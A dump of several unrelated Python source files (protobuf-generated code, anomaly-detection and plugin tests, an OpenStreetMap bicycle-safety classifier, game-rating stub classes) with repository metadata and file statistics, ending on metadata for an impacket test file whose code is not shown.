create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='read_total_tbw', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.read_total_tbw', index=13, number=10, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='write_total_tbw', full_name='chia_tea.protobuf.generated.hardware_pb2.Disk.write_total_tbw', index=14, number=11, type=1, cpp_type=5, label=1, has_default_value=False, default_value=float(0), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=268, serialized_end=574, ) DESCRIPTOR.message_types_by_name['Cpu'] = _CPU DESCRIPTOR.message_types_by_name['Ram'] = _RAM DESCRIPTOR.message_types_by_name['Disk'] = _DISK _sym_db.RegisterFileDescriptor(DESCRIPTOR) Cpu = _reflection.GeneratedProtocolMessageType('Cpu', (_message.Message,), { 'DESCRIPTOR' : _CPU, '__module__' : 'chia_tea.protobuf.generated.hardware_pb2' # @@protoc_insertion_point(class_scope:chia_tea.protobuf.generated.hardware_pb2.Cpu) }) _sym_db.RegisterMessage(Cpu) Ram = _reflection.GeneratedProtocolMessageType('Ram', (_message.Message,), { 'DESCRIPTOR' : _RAM, '__module__' : 'chia_tea.protobuf.generated.hardware_pb2' # @@protoc_insertion_point(class_scope:chia_tea.protobuf.generated.hardware_pb2.Ram) }) _sym_db.RegisterMessage(Ram) Disk = _reflection.GeneratedProtocolMessageType('Disk', (_message.Message,), { 'DESCRIPTOR' : _DISK, '__module__' : 'chia_tea.protobuf.generated.hardware_pb2' # @@protoc_insertion_point(class_scope:chia_tea.protobuf.generated.hardware_pb2.Disk) }) _sym_db.RegisterMessage(Disk) # @@protoc_insertion_point(module_scope)

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8

2fec71a5f10f727a02c1b0cf805487bd7775c8be

2,869

py

Python

tests/test_initialization.py

agnes-yang/DeepADoTS

4a52caf4e49bad8e057649ca05ea9522c77518fb

[ "MIT" ]

null

tests/test_initialization.py

agnes-yang/DeepADoTS

4a52caf4e49bad8e057649ca05ea9522c77518fb

[ "MIT" ]

null

tests/test_initialization.py

agnes-yang/DeepADoTS

4a52caf4e49bad8e057649ca05ea9522c77518fb

[ "MIT" ]

null

<<<<<<< HEAD """Test each detector on each synthetic dataset""" import os import unittest import numpy as np from experiments import run_extremes_experiment, announce_experiment from src.algorithms import AutoEncoder, DAGMM, RecurrentEBM, LSTMAD, LSTMED class InitializationTestCase(unittest.TestCase): @staticmethod def test_algorithm_initializations(): def detectors(seed): dets = [AutoEncoder(num_epochs=1, seed=seed), DAGMM(num_epochs=1, seed=seed), DAGMM(num_epochs=1, autoencoder_type=DAGMM.AutoEncoder.LSTM, seed=seed), LSTMAD(num_epochs=1, seed=seed), LSTMED(num_epochs=1, seed=seed), RecurrentEBM(num_epochs=1, seed=seed)] return sorted(dets, key=lambda x: x.framework) RUNS = 1 seeds = np.random.randint(np.iinfo(np.uint32).max, size=RUNS, dtype=np.uint32) output_dir = 'reports/experiments' evaluators = [] outlier_height_steps = 1 for outlier_type in ['extreme_1', 'shift_1', 'variance_1', 'trend_1']: announce_experiment('Outlier Height') ev_extr = run_extremes_experiment( detectors, seeds, RUNS, outlier_type, steps=outlier_height_steps, output_dir=os.path.join(output_dir, outlier_type, 'intensity')) evaluators.append(ev_extr) ev_extr.plot_single_heatmap() ======= """Test each detector on each synthetic dataset""" import os import unittest import numpy as np from experiments import run_extremes_experiment, announce_experiment from src.algorithms import AutoEncoder, DAGMM, RecurrentEBM, LSTMAD, LSTMED class InitializationTestCase(unittest.TestCase): @staticmethod def test_algorithm_initializations(): def detectors(seed): dets = [AutoEncoder(num_epochs=1, seed=seed), DAGMM(num_epochs=1, seed=seed), DAGMM(num_epochs=1, autoencoder_type=DAGMM.AutoEncoder.LSTM, seed=seed), LSTMAD(num_epochs=1, seed=seed), LSTMED(num_epochs=1, seed=seed), RecurrentEBM(num_epochs=1, seed=seed)] return sorted(dets, key=lambda x: x.framework) RUNS = 1 seeds = np.random.randint(np.iinfo(np.uint32).max, size=RUNS, dtype=np.uint32) output_dir = 'reports/experiments' evaluators = [] outlier_height_steps = 1 for outlier_type in ['extreme_1', 'shift_1', 'variance_1', 'trend_1']: announce_experiment('Outlier Height') ev_extr = run_extremes_experiment( detectors, seeds, RUNS, outlier_type, steps=outlier_height_steps, output_dir=os.path.join(output_dir, outlier_type, 'intensity')) evaluators.append(ev_extr) ev_extr.plot_single_heatmap() >>>>>>> upstream/master

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ff3b7f07f6173df9c8242e3b7d007f09e7f2887d

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py

Python

tests/test_plugin.py

grizz/ctl

94d854980e27bb5083cca862879521404c3dbf2a

[ "Apache-2.0" ]

null

tests/test_plugin.py

grizz/ctl

94d854980e27bb5083cca862879521404c3dbf2a

[ "Apache-2.0" ]

33

2019-10-08T09:19:03.000Z

2021-09-30T08:54:11.000Z

tests/test_plugin.py

grizz/ctl

94d854980e27bb5083cca862879521404c3dbf2a

[ "Apache-2.0" ]

1

2019-10-02T20:58:40.000Z

import ctl import ctl.plugins.all def test_init(): ctl.plugin.get_plugin_class("command")

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ff41a685b65ca39d5e4e3b3237368e5b642c5aaa

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py

Python

policosm/utils/bicycles.py

ComplexCity/policosm

548d4d694df49603f91cd45af7fe50ced79aea68

[ "MIT" ]

6

2017-06-05T07:30:46.000Z

2022-03-07T00:47:22.000Z

policosm/utils/bicycles.py

ComplexCity/policosm

548d4d694df49603f91cd45af7fe50ced79aea68

[ "MIT" ]

1

2017-12-14T05:40:42.000Z

policosm/utils/bicycles.py

ComplexCity/policosm

548d4d694df49603f91cd45af7fe50ced79aea68

[ "MIT" ]

1

2020-10-22T19:18:30.000Z

""" This page implements the bicycle wiki page https://wiki.openstreetmap.org/wiki/Bicycle#Bicycle_Restrictions it creates 4 values: forward, backward, safety_forward, safety_backward forward is in the same direction as the current way backward is the opposite direction safety_forward is the safety for the forward way safety_backward is the safety of the opposite direction 0 - no sidewalk and/or level 4-6 / no sidewalk 1 - sidewalk and/or level 3 / share space / sidewalk 2 - designated but shared / lane marked in the road 3 - designated / lane separated """ from policosm.utils.access import get_access from policosm.utils.countries import is_right_hand_drive def get_bicycle(tags, level, country_iso3): if is_right_hand_drive(country_iso3): return get_right_hand_bicycle(tags, level, country_iso3) else: return get_left_hand_bicycle(tags, level, country_iso3) def get_left_hand_bicycle(tags, level, country_iso3): sidewalk_use = tags.get('sidewalk:bicycle') == 'yes' or tags.get('sidewalk:left:bicycle') == 'yes' or tags.get( 'sidewalk:right:bicycle') == 'yes' or tags.get('sidewalk:both:bicycle') == 'yes' or tags.get('sidewalk') in [ 'both', 'right', 'left', 'yes'] general = tags.get('highway') == 'cycleway' general_oneway = general and tags.get('oneway') == 'yes' # ––––––––––––––––– BIDIRECTIONNAL ––––––––––––––––– # no need to add a new special highway # bike is TRUE # safety = 2 rl1a = ('highway' in tags and tags.get('cycleway') == 'lane') or ( 'highway' in tags and tags.get('cycleway:left') == 'lane' and tags.get('cycleway:right') == 'lane') or ( tags.get('cycleway:both') == 'lane') rl1b = 'highway' in tags and tags.get('cycleway:right') == 'lane' and tags.get('cycleway:right:oneway') in ['false', 'no', 'none', '0'] rl2 = 'highway' in tags and tags.get('cycleway:right') == 'lane' # ––––––––––––––––– ONE–DIRECTIONNAL LANES––––––––––––––––– rm1 = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane' and tags.get( 'oneway:bicycle') == 'no') or ('highway' in tags and tags.get('oneway') == 'yes' and tags.get( 'cycleway:left') == 'opposite_lane' and tags.get('cycleway:right') == 'lane') rm2a = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway:right') == 'lane') or ( 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane') rm2b = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway:left') == 'lane') or ( 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane') rm2c = 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane' and tags.get( 'lanes') == '2' rm2d = 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no' and tags.get( 'cycleway:left') == 'lane' and tags.get('cycleway:left:oneway') == 'no' rm3a = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no' and tags.get( 'cycleway:left') == 'opposite_lane') or ('highway' in tags and tags.get('oneway') == 'yes' and tags.get( 'oneway:bicycle') == 'no' and tags.get('cycleway') == 'opposite_lane') rm3b = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no' and tags.get( 'cycleway:right') == 'opposite_lane') or ('highway' in tags and tags.get('oneway') == 'yes' and tags.get( 'oneway:bicycle') == 'no' and tags.get('cycleway') == 'opposite_lane') # ––––––––––––––––– ONE–DIRECTIONNAL TRACKS––––––––––––––––– rt1 = 'highway' in tags and tags.get('cycleway') == 'track' rt2 = 'highway' in tags and tags.get('cycleway:right') == 'track' and tags.get('cycleway:right:oneway') == 'no' rt3 = 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway:right') == 'track' and tags.get( 'oneway:bicycle') == 'no' rt4 = 'highway' in tags and tags.get('cycleway:right') == 'track' # ––––––––––––––––– SPECIAL ––––––––––––––––– rs1 = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no') or ( 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'opposite') rs2 = 'highway' in tags and tags.get('cycleway:right') == 'lane' and tags.get('cycleway:left') == 'track' rs3 = 'highway' in tags and tags.get('cycleway') == 'track' and tags.get('segregated') == 'yes' rs5 = tags.get('highway') == 'path' and tags.get('segregated') == 'yes' and tags.get( 'foot') == 'designated' and tags.get('bicycle') == 'designated' # ––––––––––––––––– CYCLE AND BUS ––––––––––––––––– if tags.get('bicycle:lanes') is not None: rb1 = 'highway' in tags and 'designated' in tags.get('bicycle:lanes').split('|') else: rb1 = False rb3 = 'highway' in tags and tags.get('cycleway:left') == 'lane' and tags.get('cycleway:right') == 'share_busway' rb4 = tags.get('highway') == 'service' and tags.get('service') == 'bus' and tags.get( 'oneway') == 'yes' and tags.get('cycleway:right') == 'share_busway' rb5 = 'highway' in tags and tags.get('busway:right') == 'lane' and tags.get('cycleway:right') == 'share_busway' rb6 = ('highway' in tags and tags.get('cycleway:left') == 'share_busway' and tags.get( 'busway') == 'opposite_lane' and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no') or ( 'highway' in tags and tags.get('cycleway:left') == 'share_busway' and tags.get( 'busway') == 'lane' and tags.get('oneway') == 'yes' and tags.get('oneway:bus') == 'no' and tags.get( 'oneway:bicycle') == 'no') # ––––––––––––––––– MORE SPECIALS ––––––––––––––––– cyclestreet = 'highway' in tags and tags.get('cyclestreet') == 'yes' pedestrians_bicycle = tags.get('highway') == 'pedestrian' and tags.get('bicycle') == 'yes' pedestrians = tags.get('highway') == 'pedestrian' has_bicycles = tags.get('highway') == 'track' or tags.get('highway') == 'path' forbidden = tags.get('bicycle') == 'no' if rl1b: return True, True, 2, 2 elif rm1: return True, True, 2, 2 elif rm2a: return True, False, 2, -1 elif rm2c: return True, False, 2, -1 elif rm2d: return True, True, 2, 2 elif rm2b: return True, False, 2, -1 elif rm3a: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 2 elif rm3b: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 2 elif rt2: return True, True, 3, 3 elif rt3: return True, True, 3, 3 elif rt4: return True, True, 3, 1 if (level <= 3 or sidewalk_use) else 0 elif rb6: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 2 elif rs1: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 1 elif rs2: return True, True, 2, 3 elif rs3: return True, True, 3, 3 elif rt1: return True, True, 3, 3 elif rs5: return True, True, 3, 3 elif rb1: return True, True, 2, 2 elif rb3: return True, True, 2, 2 elif rb4: return True, False, 2, -1 elif rb5: return True, True, 2, 1 if (level <= 3 or sidewalk_use) else 0 elif rl1a: return True, True, 2, 2 elif rl2: return True, True, 2, 1 if (level <= 3 or sidewalk_use) else 0 elif general_oneway: return True, False, 3, -1 elif general: return True, True, 3, 3 elif cyclestreet: return True, True, 1, 1 elif pedestrians_bicycle: return True, True, 2, 2 elif pedestrians: return True, True, 1, 1 elif has_bicycles: return True, True, 2, 2 elif tags.get('oneway') == 'yes': if get_access(country_iso3, tags.get('highway'), 'bicycle'): return True, False, 1 if (level <= 3 or sidewalk_use) else 0, -1 else: return False, False, -1, -1 else: if get_access(country_iso3, tags.get('highway'), 'bicycle'): return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 1 if (level <= 3 or sidewalk_use) else 0 else: return False, False, -1, -1 def get_right_hand_bicycle(tags, level, country_iso3): sidewalk_use = tags.get('sidewalk:bicycle') == 'yes' or tags.get('sidewalk:right:bicycle') == 'yes' or tags.get( 'sidewalk:left:bicycle') == 'yes' or tags.get('sidewalk:both:bicycle') == 'yes' or tags.get('sidewalk') in [ 'both', 'left', 'right', 'yes'] general = tags.get('highway') == 'cycleway' general_oneway = general and tags.get('oneway') == 'yes' # ––––––––––––––––– BIDIRECTIONNAL ––––––––––––––––– # no need to add a new special highway # bike is TRUE # safety = 2 rl1a = ('highway' in tags and tags.get('cycleway') == 'lane') or ( 'highway' in tags and tags.get('cycleway:right') == 'lane' and tags.get('cycleway:left') == 'lane') or ( tags.get('cycleway:both') == 'lane') rl1b = 'highway' in tags and tags.get('cycleway:left') == 'lane' and tags.get('cycleway:left:oneway') in ['false', 'no', 'none', '0'] rl2 = 'highway' in tags and tags.get('cycleway:left') == 'lane' # ––––––––––––––––– ONE–DIRECTIONNAL LANES––––––––––––––––– rm1 = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane' and tags.get( 'oneway:bicycle') == 'no') or ('highway' in tags and tags.get('oneway') == 'yes' and tags.get( 'cycleway:right') == 'opposite_lane' and tags.get('cycleway:left') == 'lane') rm2a = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway:left') == 'lane') or ( 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane') rm2b = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway:right') == 'lane') or ( 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane') rm2c = 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'lane' and tags.get( 'lanes') == '2' rm2d = 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no' and tags.get( 'cycleway:right') == 'lane' and tags.get('cycleway:right:oneway') == 'no' rm3a = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no' and tags.get( 'cycleway:right') == 'opposite_lane') or ('highway' in tags and tags.get('oneway') == 'yes' and tags.get( 'oneway:bicycle') == 'no' and tags.get('cycleway') == 'opposite_lane') rm3b = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no' and tags.get( 'cycleway:left') == 'opposite_lane') or ('highway' in tags and tags.get('oneway') == 'yes' and tags.get( 'oneway:bicycle') == 'no' and tags.get('cycleway') == 'opposite_lane') # ––––––––––––––––– ONE–DIRECTIONNAL TRACKS––––––––––––––––– rt1 = 'highway' in tags and tags.get('cycleway') == 'track' rt2 = 'highway' in tags and tags.get('cycleway:left') == 'track' and tags.get('cycleway:left:oneway') == 'no' rt3 = 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway:left') == 'track' and tags.get( 'oneway:bicycle') == 'no' rt4 = 'highway' in tags and tags.get('cycleway:left') == 'track' # ––––––––––––––––– SPECIAL ––––––––––––––––– rs1 = ('highway' in tags and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no') or ( 'highway' in tags and tags.get('oneway') == 'yes' and tags.get('cycleway') == 'opposite') rs2 = 'highway' in tags and tags.get('cycleway:left') == 'lane' and tags.get('cycleway:right') == 'track' rs3 = 'highway' in tags and tags.get('cycleway') == 'track' and tags.get('segregated') == 'yes' rs5 = tags.get('highway') == 'path' and tags.get('segregated') == 'yes' and tags.get( 'foot') == 'designated' and tags.get('bicycle') == 'designated' # ––––––––––––––––– CYCLE AND BUS ––––––––––––––––– if tags.get('bicycle:lanes') is not None: rb1 = 'highway' in tags and 'designated' in tags.get('bicycle:lanes').split('|') else: rb1 = False rb3 = 'highway' in tags and tags.get('cycleway:right') == 'lane' and tags.get('cycleway:left') == 'share_busway' rb4 = tags.get('highway') == 'service' and tags.get('service') == 'bus' and tags.get( 'oneway') == 'yes' and tags.get('cycleway:left') == 'share_busway' rb5 = 'highway' in tags and tags.get('busway:left') == 'lane' and tags.get('cycleway:left') == 'share_busway' rb6 = ('highway' in tags and tags.get('cycleway:right') == 'share_busway' and tags.get( 'busway') == 'opposite_lane' and tags.get('oneway') == 'yes' and tags.get('oneway:bicycle') == 'no') or ( 'highway' in tags and tags.get('cycleway:right') == 'share_busway' and tags.get( 'busway') == 'lane' and tags.get('oneway') == 'yes' and tags.get('oneway:bus') == 'no' and tags.get( 'oneway:bicycle') == 'no') # ––––––––––––––––– MORE SPECIALS ––––––––––––––––– cyclestreet = 'highway' in tags and tags.get('cyclestreet') == 'yes' pedestrians_bicycle = tags.get('highway') == 'pedestrian' and tags.get('bicycle') == 'yes' pedestrians = tags.get('highway') == 'pedestrian' has_bicycles = tags.get('highway') == 'track' or tags.get('highway') == 'path' forbidden = tags.get('bicycle') == 'no' if rl1b: return True, True, 2, 2 elif rm1: return True, True, 2, 2 elif rm2a: return True, False, 2, -1 elif rm2c: return True, False, 2, -1 elif rm2d: return True, True, 2, 2 elif rm2b: return True, False, 2, -1 elif rm3a: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 2 elif rm3b: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 2 elif rt2: return True, True, 3, 3 elif rt3: return True, True, 3, 3 elif rt4: return True, True, 3, 1 if (level <= 3 or sidewalk_use) else 0 elif rb6: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 2 elif rs1: return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 1 elif rs2: return True, True, 2, 3 elif rs3: return True, True, 3, 3 elif rt1: return True, True, 3, 3 elif rs5: return True, True, 3, 3 elif rb1: return True, True, 2, 2 elif rb3: return True, True, 2, 2 elif rb4: return True, False, 2, -1 elif rb5: return True, True, 2, 1 if (level <= 3 or sidewalk_use) else 0 elif rl1a: return True, True, 2, 2 elif rl2: return True, True, 2, 1 if (level <= 3 or sidewalk_use) else 0 elif general_oneway: return True, False, 3, -1 elif general: return True, True, 3, 3 elif cyclestreet: return True, True, 1, 1 elif pedestrians_bicycle: return True, True, 2, 2 elif pedestrians: return True, True, 1, 1 elif has_bicycles: return True, True, 2, 2 elif tags.get('oneway') == 'yes': if get_access(country_iso3, tags.get('highway'), 'bicycle'): return True, False, 1 if (level <= 3 or sidewalk_use) else 0, -1 else: return False, False, -1, -1 else: if get_access(country_iso3, tags.get('highway'), 'bicycle'): return True, True, 1 if (level <= 3 or sidewalk_use) else 0, 1 if (level <= 3 or sidewalk_use) else 0 else: return False, False, -1, -1 if __name__ == '__main__': tags = {'highway': 'motorway'} print(get_bicycle(tags, 8, 'fra')) tags = {'name':'Rue d\'Amboise','oneway':'yes','highway':'service','service':'alley','wikidata':'Q3450464','cycleway:left':'opposite','oneway:bicycle':'no'} print(get_bicycle(tags, 2, 'fra')) tags = {'oneway':'yes','highway':'residential','surface':'asphalt','maxspeed':30,'busway:right':'lane','cycleway:right':'share_busway','oneway:bicycle':'yes'} print(get_bicycle(tags, 3, 'fra'))

47.256198

162

0.557304

2,287

17,154

4.313511

0.064276

0.13482

0.15408

0.127724

0.907146

0.90441

0.893969

0.87927

0.873492

0

0.023853

0.261921

17,154

362

163

47.38674

0.722771

0.076134

0

0.803704

0

0.223219

0.012071

0

1

0.011111

false

0

0.007407

0

0.27037

0.011111

0

null

0

1

0

1

0

null

0

7

ff492e39cfa90c0ed31bbb3c4838868db23efa7a

139

py

Python

test/test_frequency.py

Triagle/speller

47de39a9ecf7fb4c4af6281ed3fb029ada272d83

[ "MIT" ]

null

test/test_frequency.py

Triagle/speller

47de39a9ecf7fb4c4af6281ed3fb029ada272d83

[ "MIT" ]

null

test/test_frequency.py

Triagle/speller

47de39a9ecf7fb4c4af6281ed3fb029ada272d83

[ "MIT" ]

null

from engine.frequency import frequency_of def test_frequency(): assert frequency_of(1) == 0.1 assert frequency_of(3) == (0.1 / 3)

23.166667

41

0.697842

22

139

4.227273

0.5

0.354839

0.365591

0

0.061404

0.179856

139

5

42

27.8

0.754386

0

0.5

1

0.25

true

0

0.25

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

ff906f7a7ea7cde6091dddf633da01f9cb7e8b96

6,407

py

Python

loldib/getratings/models/NA/na_xayah/na_xayah_top.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_xayah/na_xayah_top.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

loldib/getratings/models/NA/na_xayah/na_xayah_top.py

koliupy/loldib

c9ab94deb07213cdc42b5a7c26467cdafaf81b7f

[ "Apache-2.0" ]

null

from getratings.models.ratings import Ratings class NA_Xayah_Top_Aatrox(Ratings): pass class NA_Xayah_Top_Ahri(Ratings): pass class NA_Xayah_Top_Akali(Ratings): pass class NA_Xayah_Top_Alistar(Ratings): pass class NA_Xayah_Top_Amumu(Ratings): pass class NA_Xayah_Top_Anivia(Ratings): pass class NA_Xayah_Top_Annie(Ratings): pass class NA_Xayah_Top_Ashe(Ratings): pass class NA_Xayah_Top_AurelionSol(Ratings): pass class NA_Xayah_Top_Azir(Ratings): pass class NA_Xayah_Top_Bard(Ratings): pass class NA_Xayah_Top_Blitzcrank(Ratings): pass class NA_Xayah_Top_Brand(Ratings): pass class NA_Xayah_Top_Braum(Ratings): pass class NA_Xayah_Top_Caitlyn(Ratings): pass class NA_Xayah_Top_Camille(Ratings): pass class NA_Xayah_Top_Cassiopeia(Ratings): pass class NA_Xayah_Top_Chogath(Ratings): pass class NA_Xayah_Top_Corki(Ratings): pass class NA_Xayah_Top_Darius(Ratings): pass class NA_Xayah_Top_Diana(Ratings): pass class NA_Xayah_Top_Draven(Ratings): pass class NA_Xayah_Top_DrMundo(Ratings): pass class NA_Xayah_Top_Ekko(Ratings): pass class NA_Xayah_Top_Elise(Ratings): pass class NA_Xayah_Top_Evelynn(Ratings): pass class NA_Xayah_Top_Ezreal(Ratings): pass class NA_Xayah_Top_Fiddlesticks(Ratings): pass class NA_Xayah_Top_Fiora(Ratings): pass class NA_Xayah_Top_Fizz(Ratings): pass class NA_Xayah_Top_Galio(Ratings): pass class NA_Xayah_Top_Gangplank(Ratings): pass class NA_Xayah_Top_Garen(Ratings): pass class NA_Xayah_Top_Gnar(Ratings): pass class NA_Xayah_Top_Gragas(Ratings): pass class NA_Xayah_Top_Graves(Ratings): pass class NA_Xayah_Top_Hecarim(Ratings): pass class NA_Xayah_Top_Heimerdinger(Ratings): pass class NA_Xayah_Top_Illaoi(Ratings): pass class NA_Xayah_Top_Irelia(Ratings): pass class NA_Xayah_Top_Ivern(Ratings): pass class NA_Xayah_Top_Janna(Ratings): pass class NA_Xayah_Top_JarvanIV(Ratings): pass class NA_Xayah_Top_Jax(Ratings): pass class NA_Xayah_Top_Jayce(Ratings): pass class NA_Xayah_Top_Jhin(Ratings): pass class NA_Xayah_Top_Jinx(Ratings): pass class NA_Xayah_Top_Kalista(Ratings): pass class NA_Xayah_Top_Karma(Ratings): pass class NA_Xayah_Top_Karthus(Ratings): pass class NA_Xayah_Top_Kassadin(Ratings): pass class NA_Xayah_Top_Katarina(Ratings): pass class NA_Xayah_Top_Kayle(Ratings): pass class NA_Xayah_Top_Kayn(Ratings): pass class NA_Xayah_Top_Kennen(Ratings): pass class NA_Xayah_Top_Khazix(Ratings): pass class NA_Xayah_Top_Kindred(Ratings): pass class NA_Xayah_Top_Kled(Ratings): pass class NA_Xayah_Top_KogMaw(Ratings): pass class NA_Xayah_Top_Leblanc(Ratings): pass class NA_Xayah_Top_LeeSin(Ratings): pass class NA_Xayah_Top_Leona(Ratings): pass class NA_Xayah_Top_Lissandra(Ratings): pass class NA_Xayah_Top_Lucian(Ratings): pass class NA_Xayah_Top_Lulu(Ratings): pass class NA_Xayah_Top_Lux(Ratings): pass class NA_Xayah_Top_Malphite(Ratings): pass class NA_Xayah_Top_Malzahar(Ratings): pass class NA_Xayah_Top_Maokai(Ratings): pass class NA_Xayah_Top_MasterYi(Ratings): pass class NA_Xayah_Top_MissFortune(Ratings): pass class NA_Xayah_Top_MonkeyKing(Ratings): pass class NA_Xayah_Top_Mordekaiser(Ratings): pass class NA_Xayah_Top_Morgana(Ratings): pass class NA_Xayah_Top_Nami(Ratings): pass class NA_Xayah_Top_Nasus(Ratings): pass class NA_Xayah_Top_Nautilus(Ratings): pass class NA_Xayah_Top_Nidalee(Ratings): pass class NA_Xayah_Top_Nocturne(Ratings): pass class NA_Xayah_Top_Nunu(Ratings): pass class NA_Xayah_Top_Olaf(Ratings): pass class NA_Xayah_Top_Orianna(Ratings): pass class NA_Xayah_Top_Ornn(Ratings): pass class NA_Xayah_Top_Pantheon(Ratings): pass class NA_Xayah_Top_Poppy(Ratings): pass class NA_Xayah_Top_Quinn(Ratings): pass class NA_Xayah_Top_Rakan(Ratings): pass class NA_Xayah_Top_Rammus(Ratings): pass class NA_Xayah_Top_RekSai(Ratings): pass class NA_Xayah_Top_Renekton(Ratings): pass class NA_Xayah_Top_Rengar(Ratings): pass class NA_Xayah_Top_Riven(Ratings): pass class NA_Xayah_Top_Rumble(Ratings): pass class NA_Xayah_Top_Ryze(Ratings): pass class NA_Xayah_Top_Sejuani(Ratings): pass class NA_Xayah_Top_Shaco(Ratings): pass class NA_Xayah_Top_Shen(Ratings): pass class NA_Xayah_Top_Shyvana(Ratings): pass class NA_Xayah_Top_Singed(Ratings): pass class NA_Xayah_Top_Sion(Ratings): pass class NA_Xayah_Top_Sivir(Ratings): pass class NA_Xayah_Top_Skarner(Ratings): pass class NA_Xayah_Top_Sona(Ratings): pass class NA_Xayah_Top_Soraka(Ratings): pass class NA_Xayah_Top_Swain(Ratings): pass class NA_Xayah_Top_Syndra(Ratings): pass class NA_Xayah_Top_TahmKench(Ratings): pass class NA_Xayah_Top_Taliyah(Ratings): pass class NA_Xayah_Top_Talon(Ratings): pass class NA_Xayah_Top_Taric(Ratings): pass class NA_Xayah_Top_Teemo(Ratings): pass class NA_Xayah_Top_Thresh(Ratings): pass class NA_Xayah_Top_Tristana(Ratings): pass class NA_Xayah_Top_Trundle(Ratings): pass class NA_Xayah_Top_Tryndamere(Ratings): pass class NA_Xayah_Top_TwistedFate(Ratings): pass class NA_Xayah_Top_Twitch(Ratings): pass class NA_Xayah_Top_Udyr(Ratings): pass class NA_Xayah_Top_Urgot(Ratings): pass class NA_Xayah_Top_Varus(Ratings): pass class NA_Xayah_Top_Vayne(Ratings): pass class NA_Xayah_Top_Veigar(Ratings): pass class NA_Xayah_Top_Velkoz(Ratings): pass class NA_Xayah_Top_Vi(Ratings): pass class NA_Xayah_Top_Viktor(Ratings): pass class NA_Xayah_Top_Vladimir(Ratings): pass class NA_Xayah_Top_Volibear(Ratings): pass class NA_Xayah_Top_Warwick(Ratings): pass class NA_Xayah_Top_Xayah(Ratings): pass class NA_Xayah_Top_Xerath(Ratings): pass class NA_Xayah_Top_XinZhao(Ratings): pass class NA_Xayah_Top_Yasuo(Ratings): pass class NA_Xayah_Top_Yorick(Ratings): pass class NA_Xayah_Top_Zac(Ratings): pass class NA_Xayah_Top_Zed(Ratings): pass class NA_Xayah_Top_Ziggs(Ratings): pass class NA_Xayah_Top_Zilean(Ratings): pass class NA_Xayah_Top_Zyra(Ratings): pass

15.364508

46

0.761667

972

6,407

4.59465

0.151235

0.216301

0.370802

0.463502

0.797582

0

0.173404

6,407

416

47

15.401442

0.843278

0

0.498195

0

1

0

true

0.498195

0.00361

0

0.501805

0

null

1

0

1

0

null

0

1

0

1

0

7

4411855746b027e69df51317a23f8f7127873c41

166

py

Python

backend/vobla/db/models/__init__.py

Nuqlear/voila

05ada753425ee62e1edd06f945e58e29e808409b

[ "MIT" ]

2

2017-12-12T14:28:43.000Z

2018-01-24T10:58:27.000Z

backend/vobla/db/models/__init__.py

Nuqlear/voila

05ada753425ee62e1edd06f945e58e29e808409b

[ "MIT" ]

21

2020-03-05T18:58:11.000Z

2022-02-02T20:00:34.000Z

backend/vobla/db/models/__init__.py

Nuqlear/voila

05ada753425ee62e1edd06f945e58e29e808409b

[ "MIT" ]

2

2017-12-13T22:43:56.000Z

2018-01-24T17:14:29.000Z

from vobla.db.models.users import User from vobla.db.models.users import UserInvite from vobla.db.models.drops import Drop from vobla.db.models.drops import DropFile

33.2

44

0.831325

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0.318841

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166

4

45

41.5

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1

0

1

0

10

443ebaef002c3c5c3f652a21ed70c10bca2d6106

10,827

py

Python

impacket/testcases/SMB_RPC/test_dcerpc.py

z3v2cicidi/impacket

d8da712c3dea013c61fe019a7efc7e1289ebb891

[ "Apache-1.1" ]

7

2018-06-06T05:19:36.000Z

